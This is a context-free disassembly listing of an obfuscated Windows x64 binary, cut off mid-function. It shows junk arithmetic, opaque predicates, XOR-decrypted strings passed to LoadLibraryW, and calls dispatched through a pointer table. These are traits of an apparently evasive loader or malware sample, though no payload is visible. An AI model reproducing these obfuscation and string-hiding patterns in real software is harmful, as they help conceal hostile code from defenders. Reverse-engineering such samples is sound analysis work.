imul eax, eax, 6
mov dword [rsp + 0x7c4], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x7c4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7c8]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x428]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f0], eax
jmp 0x140020700
mov dword [rsp + 0x4f0], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x54]
sub eax, 0x7a
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x430], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x7cc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x7cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x7d0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x7d0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7d4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140020979
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x7d8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x7d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7dc], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x7dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x7e0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140020979
mov dword [rsp + 0x128], 0
jmp 0x14002083b
cmp dword [rsp + 0x128], 4
jae 0x140020974
cvtsi2sd xmm0, dword [rsp + 0x128]
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1680], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1680]
ucomisd xmm1, xmm0
jp 0x1400208b6
jne 0x1400208b6
mov eax, dword [rsp + 0x128]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x430], xmm0
jmp 0x140020735
cvtsi2sd xmm0, dword [rsp + 0x128]
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1688], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1688]
ucomisd xmm1, xmm0
jp 0x14002091e
jne 0x14002091e
mov eax, dword [rsp + 0x128]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x430], xmm0
jmp 0x140020934
xor eax, eax
test eax, eax
je 0x140020930
jmp 0x140020a1b
jmp 0x14002095d
cvtsi2sd xmm0, dword [rsp + 0x128]
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f4], eax
jmp 0x140020a26
xor eax, eax
cmp eax, 1
je 0x14002096a
jmp 0x140020979
jmp 0x140020735
jmp 0x140020735
xor eax, eax
cmp eax, 1
je 0x140020a1b
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x7e4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x7e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ec], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x7e8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x7e8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7ec]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x430]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f4], eax
jmp 0x140020a26
mov dword [rsp + 0x4f4], 1
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x4f0]
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov edi, dword [rsp + 0x4f4]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x7f0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x7f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x7f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x7f8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140020e24
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x438], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x7fc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x7fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x804], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x800], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x800]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x804]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140020d4e
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x808], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x80c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x810], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x810]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140020d4e
mov dword [rsp + 0x12c], 0
jmp 0x140020c10
cmp dword [rsp + 0x12c], 4
jae 0x140020d49
cvtsi2sd xmm0, dword [rsp + 0x12c]
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1690], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1690]
ucomisd xmm1, xmm0
jp 0x140020c8b
jne 0x140020c8b
mov eax, dword [rsp + 0x12c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x438], xmm0
jmp 0x140020b0a
cvtsi2sd xmm0, dword [rsp + 0x12c]
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1698], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1698]
ucomisd xmm1, xmm0
jp 0x140020cf3
jne 0x140020cf3
mov eax, dword [rsp + 0x12c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x438], xmm0
jmp 0x140020d09
xor eax, eax
test eax, eax
je 0x140020d05
jmp 0x140020df0
jmp 0x140020d32
cvtsi2sd xmm0, dword [rsp + 0x12c]
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f8], eax
jmp 0x140020dfb
xor eax, eax
cmp eax, 1
je 0x140020d3f
jmp 0x140020d4e
jmp 0x140020b0a
jmp 0x140020b0a
xor eax, eax
cmp eax, 1
je 0x140020df0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x814], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x814]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x81c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x818], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x818]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x81c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x438]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f8], eax
jmp 0x140020dfb
mov dword [rsp + 0x4f8], 1
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0x4f8]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
jmp 0x14001f819
mov rax, qword [rsp + 0x700]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x700]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x820], eax
mov eax, dword [rsp + 0x820]
lea rcx, [0x140132da0]
mov qword [rsp + 0x16a0], rcx
mov rdx, qword [rsp + 0x1530]
mov rcx, qword [rsp + 0xd0]
mov rdi, qword [rsp + 0x16a0]
call qword [rdi + rax*8]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x24d0]
mov qword [rsp + 0x610], rax
lea rax, [rsp + 0x1c50]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x1c50], 0x68
lea rax, [rsp + 0x768]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x4fc], 2
jmp 0x140020ee5
mov eax, dword [rsp + 0x4fc]
inc eax
mov dword [rsp + 0x4fc], eax
cmp dword [rsp + 0x4fc], 0x2d81
jae 0x140020f89
mov ecx, 0xea60
call fcn.14006e220
mov qword [rsp + 0x16a8], rax
mov rax, qword [rsp + 0x16a8]
mov qword [rsp + 0x1538], rax
mov dword [rsp + 0x248], 0
jmp 0x140020f35
mov eax, dword [rsp + 0x248]
inc eax
mov dword [rsp + 0x248], eax
cmp dword [rsp + 0x248], 0x30ab
jae 0x140020f67
cmp dword [rsp + 0x248], 0x3d
jne 0x140020f4e
jmp 0x140020f67
movsxd rax, dword [rsp + 0x248]
mov rcx, qword [rsp + 0x1538]
mov dword [rcx + rax*4], 0xc63
jmp 0x140020f25
mov rax, qword [rsp + 0x1538]
mov qword [rsp + 0x16b0], rax
mov rcx, qword [rsp + 0x16b0]
call fcn.14006e228
jmp 0x140020ed5
lea rax, [rsp + 0x4b0]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1ae8]
lea rcx, str._RJW_W
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x670], 0x93a9
mov dword [rsp + 0x824], 0x2f2d
mov dword [rsp + 0x828], 0x5bc8
mov eax, dword [rsp + 0x824]
mov dword [rsp + 0x670], eax
cmp dword [rsp + 0x670], 0
je 0x140020ffd
mov dword [rsp + 0x828], 0x63ad
mov dword [rsp + 0x6d4], 0x43cc
mov dword [rsp + 0x82c], 0x3b4c
mov dword [rsp + 0x830], 0x45d2
mov eax, dword [rsp + 0x82c]
mov dword [rsp + 0x6d4], eax
cmp dword [rsp + 0x6d4], 0
je 0x140021041
mov dword [rsp + 0x830], 0x4e60
mov eax, 2
imul rax, rax, 0xc
movzx eax, word [rsp + rax + 0x1ae8]
test eax, eax
je 0x140021063
mov dword [rsp + 0x664], 1
jmp 0x14002106e
mov dword [rsp + 0x664], 0
movzx eax, byte [rsp + 0x664]
test eax, eax
je 0x140021131
mov dword [rsp + 0x668], 0x65d6
mov dword [rsp + 0x834], 0x88c8
mov dword [rsp + 0x838], 0x6e8c
mov eax, dword [rsp + 0x834]
mov dword [rsp + 0x668], eax
cmp dword [rsp + 0x668], 0
je 0x1400210c2
mov dword [rsp + 0x838], 0x9ca6
mov dword [rsp + 0x1c0], 0
jmp 0x1400210df
mov eax, dword [rsp + 0x1c0]
inc eax
mov dword [rsp + 0x1c0], eax
cmp dword [rsp + 0x1c0], 0xd
jge 0x140021131
movsxd rax, dword [rsp + 0x1c0]
movzx eax, word [rsp + rax*2 + 0x1ae8]
mov dword [rsp + 0x83c], eax
mov eax, dword [rsp + 0x1c0]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0x83c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1c0]
mov word [rsp + rcx*2 + 0x1ae8], ax
jmp 0x1400210cf
lea rax, [rsp + 0x1ae8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x1e0], rax
cmp qword [rsp + 0x1e0], 0
jne 0x14002115c
xor al, al
jmp 0x14002fed5
lea rax, [rsp + 0x4b1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1b08]
lea rcx, str.uE_XNlOQ_21
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x19d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x66c], 0x93a9
mov dword [rsp + 0x840], 0x2f2d
mov dword [rsp + 0x844], 0x5bc8
mov eax, dword [rsp + 0x840]
mov dword [rsp + 0x66c], eax
cmp dword [rsp + 0x66c], 0
je 0x1400211e4
mov dword [rsp + 0x844], 0x63ad
mov dword [rsp + 0x674], 0x43cc
mov dword [rsp + 0x848], 0x3b4c
mov dword [rsp + 0x84c], 0x45d2
mov eax, dword [rsp + 0x848]
mov dword [rsp + 0x674], eax
cmp dword [rsp + 0x674], 0
je 0x140021228
mov dword [rsp + 0x84c], 0x4e60
mov eax, 2
imul rax, rax, 0xe
movzx eax, word [rsp + rax + 0x1b08]
test eax, eax
je 0x14002124a
mov dword [rsp + 0x678], 1
jmp 0x140021255
mov dword [rsp + 0x678], 0
movzx eax, byte [rsp + 0x678]
test eax, eax
je 0x140021318
mov dword [rsp + 0x67c], 0x65d6
mov dword [rsp + 0x850], 0x88c8
mov dword [rsp + 0x854], 0x6e8c
mov eax, dword [rsp + 0x850]
mov dword [rsp + 0x67c], eax
cmp dword [rsp + 0x67c], 0
je 0x1400212a9
mov dword [rsp + 0x854], 0x9ca6
mov dword [rsp + 0x1c8], 0
jmp 0x1400212c6
mov eax, dword [rsp + 0x1c8]
inc eax
mov dword [rsp + 0x1c8], eax
cmp dword [rsp + 0x1c8], 0xf
jge 0x140021318
movsxd rax, dword [rsp + 0x1c8]
movzx eax, word [rsp + rax*2 + 0x1b08]
mov dword [rsp + 0x858], eax
mov eax, dword [rsp + 0x1c8]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0x858]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1c8]
mov word [rsp + rcx*2 + 0x1b08], ax
jmp 0x1400212b6
lea rcx, [rsp + 0x19d]
call fcn.140030108
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x708]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14002296b
mov rax, qword [rsp + 0x708]
mov qword [rsp + 0x1f8], rax
mov dword [rsp + 0x58], 0
jmp 0x140021365
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
movsxd rax, dword [rsp + 0x58]
cmp rax, 1
jae 0x14002296b
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x85c], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x85c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x860], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x860]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x864], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x864]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14002172d
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x440], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x868], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x868]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x870], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x86c], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x86c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x870]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140021657
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x874], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x874]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x878], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x878]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x87c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x87c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140021657
mov dword [rsp + 0xec], 0
jmp 0x140021519
cmp dword [rsp + 0xec], 4
jae 0x140021652
cvtsi2sd xmm0, dword [rsp + 0xec]
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16b8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16b8]
ucomisd xmm1, xmm0
jp 0x140021594
jne 0x140021594
mov eax, dword [rsp + 0xec]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x440], xmm0
jmp 0x140021413
cvtsi2sd xmm0, dword [rsp + 0xec]
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16c0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16c0]
ucomisd xmm1, xmm0
jp 0x1400215fc
jne 0x1400215fc
mov eax, dword [rsp + 0xec]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x440], xmm0
jmp 0x140021612
xor eax, eax
test eax, eax
je 0x14002160e
jmp 0x1400216f9
jmp 0x14002163b
cvtsi2sd xmm0, dword [rsp + 0xec]
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x500], eax
jmp 0x140021704
xor eax, eax
cmp eax, 1
je 0x140021648
jmp 0x140021657
jmp 0x140021413
jmp 0x140021413
xor eax, eax
cmp eax, 1
je 0x1400216f9
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x880], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x880]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x888], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x884], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x884]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x888]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x440]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x500], eax
jmp 0x140021704
mov dword [rsp + 0x500], 1
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rsp + 0x500]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x88c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x88c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x894], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0x890], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x890]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x894]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400225ac
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x898], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x898]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x89c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 7
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x89c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x8a0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140021b62
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083a0]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x448], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x8a4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x8a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ac], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x8a8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x8a8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8ac]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140021a8c
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x8b0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x8b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x8b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x8b8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140021a8c
mov dword [rsp + 0xf0], 0
jmp 0x14002194e
cmp dword [rsp + 0xf0], 4
jae 0x140021a87
cvtsi2sd xmm0, dword [rsp + 0xf0]
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16c8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16c8]
ucomisd xmm1, xmm0
jp 0x1400219c9
jne 0x1400219c9
mov eax, dword [rsp + 0xf0]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x448], xmm0
jmp 0x140021848
cvtsi2sd xmm0, dword [rsp + 0xf0]
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16d0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16d0]
ucomisd xmm1, xmm0
jp 0x140021a31
jne 0x140021a31
mov eax, dword [rsp + 0xf0]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x448], xmm0
jmp 0x140021a47
xor eax, eax
test eax, eax
je 0x140021a43
jmp 0x140021b2e
jmp 0x140021a70
cvtsi2sd xmm0, dword [rsp + 0xf0]
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x504], eax
jmp 0x140021b39
xor eax, eax
cmp eax, 1
je 0x140021a7d
jmp 0x140021a8c
jmp 0x140021848
jmp 0x140021848
xor eax, eax
cmp eax, 1
je 0x140021b2e
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x8bc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x8bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x8c0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x8c0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8c4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x448]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x504], eax
jmp 0x140021b39
mov dword [rsp + 0x504], 1
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rsp + 0x504]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x8c8], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x8c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cc], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x8cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x8d0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140021f1c
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108398]
mulsd xmm1, xmm0
movaps xmm0, xmm1
